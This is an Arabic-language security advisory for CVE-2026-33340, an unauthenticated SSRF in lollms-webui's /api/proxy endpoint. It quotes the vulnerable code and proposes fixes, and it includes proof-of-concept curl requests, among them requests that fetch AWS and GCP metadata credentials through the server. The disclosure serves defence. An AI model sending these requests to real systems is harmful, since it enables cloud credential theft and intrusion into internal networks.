CVE-2026-33340: ثغرة SSRF في lollms-webui

نظرة عامة

الحقل	التفاصيل
معرف CVE	CVE-2026-33340
نوع الثغرة	تزوير الطلبات من جانب الخادم (SSRF)
المنتج المتأثر	ParisNeo/lollms-webui (LoLLMs WEBUI)
الخطورة	حرجة — CVSS 9.1
ناقل CVSS	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWE	CWE-918: تزوير الطلبات من جانب الخادم (SSRF)
المكوّن المتأثر	lollms_core/lollms/server/endpoints/lollms_apps.py
نقطة النهاية المعرضة	/api/proxy
الاستشارة الأمنية	GHSA-mcwr-5469-pxj4
NVD	إدخال NVD
SentinelOne	تحليل SentinelOne
اكتُشفت بواسطة	Regaan R — ROT مختبر أبحاث أمنية مستقل

---

الملخص

تم تحديد ثغرة حرجة من نوع تزوير الطلبات من جانب الخادم (SSRF) في lollms-webui، وهي الواجهة الإلكترونية لأنظمة اللغات الكبيرة والأنظمة متعددة الوسائط (LoLLMs). تسمح نقطة النهاية @router.post("/api/proxy") للمهاجمين غير المصادَق عليهم بإجبار الخادم على إرسال طلبات GET عشوائية. يمكن استغلال ذلك للوصول إلى الخدمات الداخلية، أو فحص الشبكات المحلية، أو استخراج بيانات وصفية حساسة من السحابة مثل رموز IAM الخاصة بـ AWS/GCP.

---

المنتج المتأثر

• المستودع: ParisNeo/lollms-webui / ParisNeo/lollms
• المكوّن المتأثر: lollms_core/lollms/server/endpoints/lollms_apps.py (الأسطر 443-450)
• نقطة النهاية المعرضة: /api/proxy
• الإصدارات المتأثرة: جميع الإصدارات المعروفة الحالية

---

تحليل السبب الجذري

توجد الثغرة لأن دالة proxy في lollms_apps.py لا تنفّذ المصادقة أو أي شكل من أشكال التحقق من صحة عناوين URL/النطاقات. فهي تقبل سلسلة عنوان URL خام من المستخدم وتمررها مباشرة إلى عميل HTTP غير متزامن.

الشفرة المعرضة للخطر

@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
    try:
        async with httpx.AsyncClient() as client:
            # No check_access() call — unauthenticated
            # No URL validation — arbitrary destinations
            response = await client.get(request.url)
            return {"content": response.text}
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

مواطن الخلل

1. لا توجد مصادقة: لا تستدعي نقطة النهاية check_access(lollmsElfServer, request.client_id) أو أي برمجية وسيطة للمصادقة، مما يسمح لأي مستخدم غير مصادَق باستدعائها.
2. لا يوجد تحقق من صحة URL: يتم تمرير عنوان URL الذي يقدمه المستخدم مباشرة إلى httpx.AsyncClient().get() دون التحقق من الوجهة مقابل قائمة بيضاء أو حظر نطاقات عناوين IP الخاصة/الداخلية.
3. الكشف الكامل للاستجابة: يتم إرجاع نص استجابة HTTP بالكامل إلى المتصل عبر {"content": response.text}، مما يسمح باستخراج كامل للبيانات.

---

إثبات المفهوم

الخطوة 1 — إعداد خدمة داخلية محاكاة

echo "INTERNAL_SECRET_DATA" > secret.txt
python3 -m http.server 8888

الخطوة 2 — استغلال ثغرة SSRF

curl -X POST http://localhost:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://localhost:8888/secret.txt"}'

الخطوة 3 — لاحظ الاستجابة

{"content": "INTERNAL_SECRET_DATA\n"}

جلب الخادم الملف من الخدمة الداخلية وأعاد محتواه إلى المهاجم.

استغلال البيانات الوصفية السحابية

# AWS IMDSv1 — Retrieve IAM credentials
curl -X POST http://<target>:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP — Retrieve access token
curl -X POST http://<target>:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'

---

التأثير

السيناريو	الوصف
سرقة بيانات الاعتماد السحابية	يمكن للمهاجمين على المنصات السحابية (AWS/GCP/Azure) الوصول إلى http://169.254.169.254/ لاسترداد البيانات الوصفية للمثيل وبيانات اعتماد IAM ورموز الوصول — مما يؤدي إلى اختراق كامل لحساب السحابة.
التنقل داخل الشبكة الداخلية	يمكن للمهاجمين فحص قواعد البيانات الداخلية وواجهات برمجة التطبيقات ولوحات الإدارة وواجهات الإدارة غير المعرّضة للإنترنت العام.
الوصول إلى خدمات المضيف المحلي	يمكن للمهاجمين الوصول إلى الخدمات المرتبطة بـ localhost (مثل Redis وElasticsearch وDocker API ووحدات تحكم قواعد البيانات) التي تثق ضمنيًا في حركة المرور المحلية.
فحص المنافذ الداخلية	يمكن استخدام ثغرة SSRF لتعداد المنافذ المفتوحة والخدمات قيد التشغيل على الشبكة الداخلية من خلال ملاحظة توقيت الاستجابات ورسائل الخطأ.
استخراج البيانات	يمكن قراءة أي بيانات يمكن الوصول إليها عبر HTTP ضمن نطاق شبكة الخادم وإعادتها إلى المهاجم.

---

سير الهجوم

Attacker                         lollms-webui Server                    Internal Network
   |                                    |                                      |
   |  POST /api/proxy                   |                                      |
   |  {"url": "http://169.254..."}      |                                      |
   |----------------------------------->|                                      |
   |                                    |  GET http://169.254.169.254/...      |
   |                                    |------------------------------------->|
   |                                    |                                      |
   |                                    |  200 OK (IAM credentials)            |
   |                                    |<-------------------------------------|
   |                                    |                                      |
   |  {"content": "<credentials>"}      |                                      |
   |<-----------------------------------|                                      |

---

الإصلاح المقترح

1. إضافة المصادقة

@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
    check_access(lollmsElfServer, request.client_id)  # Add this
    # ...

2. تنفيذ التحقق من صحة URL

from urllib.parse import urlparse
import ipaddress

BLOCKED_RANGES = [
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("169.254.0.0/16"),  # Cloud metadata
]

def is_safe_url(url: str) -> bool:
    parsed = urlparse(url)
    hostname = parsed.hostname
    if hostname in ("localhost", ""):
        return False
    try:
        ip = ipaddress.ip_address(hostname)
        return not any(ip in network for network in BLOCKED_RANGES)
    except ValueError:
        # Hostname is a domain — resolve and check
        import socket
        resolved = socket.gethostbyname(hostname)
        ip = ipaddress.ip_address(resolved)
        return not any(ip in network for network in BLOCKED_RANGES)

3. التقييد بالنطاقات المسموح بها

ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"]

def is_whitelisted(url: str) -> bool:
    parsed = urlparse(url)
    return parsed.hostname in ALLOWED_DOMAINS

---

حالة التصحيح

اعتبارًا من تاريخ النشر، تم بالفعل إصدار نسخة مُصحَّحة من lollms-webui.

---

الخط الزمني

التاريخ	الحدث
2026-03-07	تم اكتشاف الثغرة والإبلاغ عنها عبر استشارة GitHub الأمنية
2026-03-24	تم نشر CVE-2026-33340 في NVD
2026-03-25	تم تحديث إدخال قاعدة بيانات NVD
2026-03-27	نشرت SentinelOne تحليل الثغرة

---

المراجع